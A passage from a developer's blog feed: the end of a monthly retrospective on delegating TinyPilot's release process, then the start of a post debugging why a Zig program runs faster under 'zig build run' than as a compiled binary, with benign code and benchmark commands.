&lt;h3 id="publishing-the-release">Publishing the release&lt;/h3>
&lt;ol>
&lt;li>Publish security advisories (if applicable)&lt;/li>
&lt;li>Publish the changelog&lt;/li>
&lt;li>Publish TinyPilot Pro production release&lt;/li>
&lt;li>Verify that updates to latest version work cleanly&lt;/li>
&lt;li>Announce release to TinyPilot team&lt;/li>
&lt;li>Add image hashes to changelog&lt;/li>
&lt;li>Monitor bug reports for at least 48 hours&lt;/li>
&lt;/ol>
&lt;h3 id="announcing-the-release">Announcing the release&lt;/h3>
&lt;ol>
&lt;li>Publish TinyPilot Community release&lt;/li>
&lt;li>Publish release announcement blog post&lt;/li>
&lt;li>Share release with EU distributor&lt;/li>
&lt;li>Share release with manufacturer&lt;/li>
&lt;li>Update links in internal playbooks&lt;/li>
&lt;li>Send release announcement to public mailing list&lt;/li>
&lt;li>Share blog post on TinyPilot’s Twitter&lt;/li>
&lt;/ol>&lt;/blockquote>
&lt;p>I had only documented and delegated three tasks: the ones that required manual testing. But I was still doing the other 22.&lt;/p>
&lt;p>Looking at the list, 25 steps just to do a release sounds like a lot. And really, it&amp;rsquo;s far more than 25 steps because there are dozens of substeps within certain tasks.&lt;/p>
&lt;p>When there are so many manual steps, it feels like the answer is to automate more, but I don&amp;rsquo;t see any obvious candidates for automation. We could automate a step like adding the image hashes to our changelog or updating links in our internal playbooks, but it would probably take about 10 hours of automation work to save two manual hours per year.&lt;/p>
&lt;p>The more important takeaway for me is to be conservative about adding tasks to our release and to challenge the necessity of what&amp;rsquo;s currently there.&lt;/p>
&lt;h2 id="how-do-we-catch-pre-release-bugs">How do we catch pre-release bugs?&lt;/h2>
&lt;p>Delegating release tasks turned out to be harder than normal delegation because I realized that even if I could explain how I made my decisions, my teammates were missing context to make those decisions.&lt;/p>
&lt;p>As an example, I&amp;rsquo;ll share a bug we encountered during final testing.&lt;/p>
&lt;p>Usually, when you plug a device into your network, it accepts whatever local IP address the router assigns. Some TinyPilot users want their devices to request a static, predictable IP address. This last release, we added support in TinyPilot&amp;rsquo;s web interface for assigning a static IP address.&lt;/p>
&lt;p>Here&amp;rsquo;s what the feature looked like during our pre-release testing:&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="static-ip-test-2x.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Recording of our pre-release testing for TinyPilot&amp;rsquo;s new static IP feature&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>The customer service team ran the test, and they reported no issues. The page loaded at the new IP address, as expected in the test plan. The support engineering team reviewed the video of the test, and they reported that the feature worked correctly.&lt;/p>
&lt;p>I reviewed the video and saw a major problem. For a few moments before the web interface loaded at the new address, the user saw this scary error screen:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached_hu_46ef894ac321f79c.webp 300w, https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached_hu_54c94a51e49b555.webp 600w, https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached_hu_1e6468a798567c6e.webp 800w, https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached_hu_442ff3534d4a4e17.webp 1200w, https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached.webp 1366w'
 src="https://mtlynch.io/retrospectives/2024/03/site-cannot-be-reached.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The dev team did not want the user to hit this error message, even briefly&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When I showed the dev team, they were heartbroken.&lt;/p>
&lt;p>We had invested weeks of dev time into the UI that guides users from their dynamic IP to their static IP. This turned out to be particularly challenging due to complexity around DNS caching, local TLS certificates, and browser security protections for cross-domain requests. After a lot of testing and orchestration code, the dev team thought they finally had it right, but it turned out it didn&amp;rsquo;t work smoothly in TinyPilot&amp;rsquo;s office.&lt;/p>
&lt;p>So, how do we catch bugs like that without me micromanaging the process? How do we avoid the disconnect between how different teams expect the feature to work?&lt;/p>
&lt;p>We&amp;rsquo;ve decided to adjust the process so that when the dev team releases a new feature or changes old behavior, they review our pre-release testing footage to make sure it works how they expect.&lt;/p>
&lt;h2 id="how-do-we-decide-which-bugs-to-fix">How do we decide which bugs to fix?&lt;/h2>
&lt;p>The next challenge in delegating the release process was figuring out what the release manager does with bugs they discover during pre-release testing. Do they postpone the release? Or do they ship the release with the bug as-is?&lt;/p>
&lt;p>When the release was centralized on me, ship vs. fix decisions were easier, as I had context across teams. I&amp;rsquo;m looped in to the dev team, so I knew how long it would take to fix the bug and how much risk there was of breaking something else in the process. I&amp;rsquo;m also the product owner, so I understood how much the bug would impact customers. If it&amp;rsquo;s an important enough feature relative to the costs of fixing the bug, I&amp;rsquo;d delay the release so we could fix the bug.&lt;/p>
&lt;p>If the release manager is not me, how do they decide when to delay a release to fix a bug?&lt;/p>
&lt;p>Our new strategy is that the release manager doesn&amp;rsquo;t make the decision, but they gather all the information from the other teams to let the product owner decide. That way, we separate the process of gathering inputs to the decision from the decision itself. It serves our goal of minimizing the release tasks that only I can do.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="ive-written-the-worlds-fastest-incomplete-ethereum-implementation">I&amp;rsquo;ve written the world&amp;rsquo;s fastest (incomplete) Ethereum implementation&lt;/h3>
&lt;p>I &lt;a href="https://mtlynch.io/retrospectives/2024/02/#side-projects">mentioned last month&lt;/a> that I&amp;rsquo;d found a fun way to learn more about Zig, interpreters, and Ethereum — I&amp;rsquo;m writing an Ethereum bytecode interpreter in Zig.&lt;/p>
&lt;p>Zig gives developers a high degree of control over performance, so one of my earliest tasks on my interpreter was to set up benchmarks in continuous integration to compare my implementation to the official Go implementation.&lt;/p>
&lt;p>For a while, my Zig version was slightly underperforming the Go version. Then, I &lt;a href="https://github.com/mtlynch/eth-zvm/pull/24">refactored my benchmarking scripts&lt;/a>, and my performance mysteriously tanked.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-before.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-before_hu_f7c2b9fe632ea42f.webp 300w, https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-before_hu_92b2219425859746.webp 600w, https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-before_hu_35d52daa7fe88358.webp 800w, https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-before.webp 857w'
 src="https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-before.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The official Go implementation was pummeling my Zig implementation (lower is better)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I &lt;a href="https://ziggit.dev/t/zig-build-run-is-10x-faster-than-compiled-binary/3446?u=mtlynch">asked for help on Ziggit&lt;/a>, a Zig forum, and it turned out I had a bug in both &lt;a href="https://mtlynch.io/zig-extraneous-build/">my benchmarking scripts and in my Zig code&lt;/a>. Once I fixed those two simple bugs, my Zig version zoomed past the Go version.&lt;/p>
&lt;p>My Zig Ethereum implementation now outperforms the official Go implementation by 30-40%.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-after.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-after_hu_e71d392b2e1ac387.webp 300w, https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-after_hu_4fa76af96318ad0a.webp 600w, https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-after_hu_c0fd4fdb1ddd2190.webp 800w, https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-after.webp 845w'
 src="https://mtlynch.io/retrospectives/2024/03/eth-benchmarks-after.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>After fixing a few simple bugs, my Zig Ethereum implementation outperforms the official implementation by 30-40% (lower is better)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To be fair, my version only implements about 3% of Ethereum, so I have an unfair advantage, but it continues to be a fun project.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published TinyPilot Pro 2.6.3.&lt;/li>
&lt;li>Identified undocumented steps in TinyPilot&amp;rsquo;s release process and documented most of them.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Delegating tasks becomes harder when the work requires cross-team collaboration.
&lt;ul>
&lt;li>Some decisions ultimately need to be made by the product owner, but teams can adjust processes so that gathering relevant information for the decision is a separate process from making the decision.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Fill the gaps in TinyPilot&amp;rsquo;s release documentation.&lt;/li>
&lt;li>Complete 2023 taxes.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Why does an extraneous build step make my Zig app 10x faster?</title><link>https://mtlynch.io/zig-extraneous-build/</link><pubDate>Tue, 19 Mar 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/zig-extraneous-build/</guid><description>&lt;style>
 .chart-container {
 max-width: 800px;
 max-height: 300px;
 display: flex;
 justify-content: center;
 }
&lt;/style>
&lt;p>For the past few months, I&amp;rsquo;ve been curious about two technologies: the Zig programming language and Ethereum cryptocurrency. To learn more about both, I&amp;rsquo;ve been using Zig to write &lt;a href="https://github.com/mtlynch/eth-zvm">a bytecode interpreter for the Ethereum Virtual Machine&lt;/a>.&lt;/p>
&lt;p>Zig is a great language for performance optimization, as it gives you fine-grained control over memory and control flow. To motivate myself, I&amp;rsquo;ve been benchmarking my Ethereum implementation against the official Go implementation.&lt;/p></description><content:encoded>&lt;style>
 .chart-container {
 max-width: 800px;
 max-height: 300px;
 display: flex;
 justify-content: center;
 }
&lt;/style>
&lt;p>For the past few months, I&amp;rsquo;ve been curious about two technologies: the Zig programming language and Ethereum cryptocurrency. To learn more about both, I&amp;rsquo;ve been using Zig to write &lt;a href="https://github.com/mtlynch/eth-zvm">a bytecode interpreter for the Ethereum Virtual Machine&lt;/a>.&lt;/p>
&lt;p>Zig is a great language for performance optimization, as it gives you fine-grained control over memory and control flow. To motivate myself, I&amp;rsquo;ve been benchmarking my Ethereum implementation against the official Go implementation.&lt;/p>
&lt;figure>
 &lt;div class="chart-container">
 &lt;canvas id="demo-command">&lt;/canvas>
 &lt;/div>
 &lt;figcaption>&lt;p>At the beginning of this process, my hobby Ethereum Zig implementation underperformed the official Go implementation by about 40%.&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;p>Recently, I made what I thought was a simple refactoring to my benchmarking script, but my app&amp;rsquo;s performance tanked. I identified the relevant change as the difference between these two commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;60016000526001601ff3&amp;#39;&lt;/span> | xxd -r -p | zig build run -Doptimize=ReleaseFast
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 58.808µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;60016000526001601ff3&amp;#39;&lt;/span> | xxd -r -p | ./zig-out/bin/eth-zvm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 438.059µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>zig build run&lt;/code> is just a shortcut command for compiling a binary and executing it. It should be equivalent to the following two commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zig build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./zig-out/bin/eth-zvm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>How could an additional build step cause my program to run almost 10x &lt;em>faster&lt;/em>?&lt;/p>
&lt;h2 id="creating-a-minimal-reproduction-of-the-phenomenon">Creating a minimal reproduction of the phenomenon&lt;/h2>
&lt;p>To debug the performance mystery, I tried simplifying my app until it was no longer a bytecode interpreter and was just a program that counted the number of bytes it read from stdin:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">countBytes&lt;/span>(reader:&lt;span style="color:#666"> &lt;/span>anytype)&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">u32&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>count:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u32&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span>&lt;span style="color:#666"> &lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>reader.&lt;span style="color:#447fcf">readByte&lt;/span>()&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">catch&lt;/span>&lt;span style="color:#666"> &lt;/span>|err|&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">switch&lt;/span>&lt;span style="color:#666"> &lt;/span>(err)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.EndOfStream&lt;span style="color:#666"> &lt;/span>=&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>count;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">else&lt;/span>&lt;span style="color:#666"> &lt;/span>=&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>err;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>count&lt;span style="color:#666"> &lt;/span>+=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>reader&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.io.&lt;span style="color:#447fcf">getStdIn&lt;/span>().&lt;span style="color:#447fcf">reader&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>timer&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>std.time.Timer.&lt;span style="color:#447fcf">start&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>start&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>timer.&lt;span style="color:#447fcf">lap&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>count&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">countBytes&lt;/span>(&amp;amp;reader);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>end&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>timer.&lt;span style="color:#447fcf">read&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>elapsed_micros&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@as&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">f64&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@floatFromInt&lt;/span>(end&lt;span style="color:#666"> &lt;/span>-&lt;span style="color:#666"> &lt;/span>start))&lt;span style="color:#666"> &lt;/span>/&lt;span style="color:#666"> &lt;/span>std.time.ns_per_us;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.io.&lt;span style="color:#447fcf">getStdOut&lt;/span>().&lt;span style="color:#447fcf">writer&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>output.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;bytes: {}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{count});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>output.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;execution time: {d:.3}µs&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{elapsed_micros});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With the simplified app, I could still see the performance difference. When I ran the byte counter with &lt;code>zig build run&lt;/code>, it ran in 13 microseconds:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;00010203040506070809&amp;#39;&lt;/span> | xxd -r -p | zig build run -Doptimize=ReleaseFast
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bytes: &lt;span style="color:#3677a9">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 13.549µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I ran the compiled binary directly, it took 12x as long to run, completing in 162 microseconds:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;00010203040506070809&amp;#39;&lt;/span> | xxd -r -p | ./zig-out/bin/count-bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bytes: &lt;span style="color:#3677a9">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 162.195µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My test consisted of three commands in a bash pipeline:&lt;/p>
&lt;ol>
&lt;li>&lt;code>echo&lt;/code> prints a sequence of ten hex-encoded bytes (&lt;code>0x00&lt;/code>, &lt;code>0x01&lt;/code>, &amp;hellip;).&lt;/li>
&lt;li>&lt;code>xxd&lt;/code> converts &lt;code>echo&lt;/code>&amp;rsquo;s hex-encoded bytes to binary-encoded bytes.&lt;/li>
&lt;li>&lt;code>zig build run&lt;/code> compiles and executes my byte counter program, counting the number of binary-encoded bytes that &lt;code>xxd&lt;/code> emitted.&lt;/li>
&lt;/ol>
&lt;p>The only difference between &lt;code>zig build run&lt;/code> and &lt;code>./zig-out/bin/count-bytes&lt;/code> was that the second command runs the already-compiled app, whereas the first one recompiles the app.&lt;/p>
&lt;p>Again, I was dumbfounded.&lt;/p>
&lt;p>How could does an extra compilation step make the program &lt;em>faster&lt;/em>? Does a Zig app somehow run quicker when it&amp;rsquo;s fresh out of the oven?&lt;/p>
&lt;h2 id="asking-the-zig-community-for-help">Asking the Zig community for help&lt;/h2>
&lt;p>At this point, I was stumped. I had read my source code over and over, and I couldn&amp;rsquo;t understand how compiling and running an application could be faster than running the already-compiled binary.&lt;/p>
&lt;p>Zig is still a new language, so there had to be something about Zig I&amp;rsquo;d misunderstood. Surely, if experienced Zig programmers looked at my code, they&amp;rsquo;d spot my error instantly.&lt;/p>
&lt;p>I &lt;a href="https://ziggit.dev/t/zig-build-run-is-10x-faster-than-compiled-binary/3446?u=mtlynch">posted my question on Ziggit&lt;/a>, a discussion forum for Zig. The first few responses said I had a problem with &amp;ldquo;input buffering&amp;rdquo; but they didn&amp;rsquo;t have concrete suggestions to fix it or investigate further.&lt;/p>
&lt;p>Andrew Kelly, Zig&amp;rsquo;s founder and lead developer made &lt;a href="https://ziggit.dev/t/zig-build-run-is-10x-faster-than-compiled-binary/3446/8?u=mtlynch">a surprise appearance in the thread&lt;/a>. He couldn&amp;rsquo;t explain the phenomenon I was seeing, but he pointed out that I was making a different performance mistake:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 812px">



 &lt;a href="https://mtlynch.io/zig-extraneous-build/akelly-post.png">
 &lt;img
 
 sizes="(min-width: 768px) 812px, 98vw"
 srcset='https://mtlynch.io/zig-extraneous-build/akelly-post_hu_cb955cc00ec0982d.png 300w, https://mtlynch.io/zig-extraneous-build/akelly-post_hu_70be00e1da8e6635.png 600w, https://mtlynch.io/zig-extraneous-build/akelly-post_hu_9b340c6e4e66c981.png 800w, https://mtlynch.io/zig-extraneous-build/akelly-post.png 812w'
 src="https://mtlynch.io/zig-extraneous-build/akelly-post.png" alt="Looks like you’re doing 1 syscall per byte read? That’s going to perform extremely poorly. My guess is that the extra steps of using the build system incidentally introduced some buffering. Not sure why though. The build system is making the child process inherit the file descriptors directly." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Finally, my friend &lt;a href="https://www.agwa.name">Andrew Ayer&lt;/a> saw my post about this on Mastodon and &lt;a href="https://m.mtlynch.io/@agwa@agwa.name/112039058255070708">solved the mystery&lt;/a>:&lt;/p>




















 
 
 







&lt;div class="img" style="max-width: 580px">



 &lt;a href="https://mtlynch.io/zig-extraneous-build/agwa-masto.png">
 &lt;img
 
 sizes="(min-width: 768px) 580px, 98vw"
 srcset='https://mtlynch.io/zig-extraneous-build/agwa-masto_hu_a2d6f66fa1084a78.png 300w, https://mtlynch.io/zig-extraneous-build/agwa-masto.png 580w'
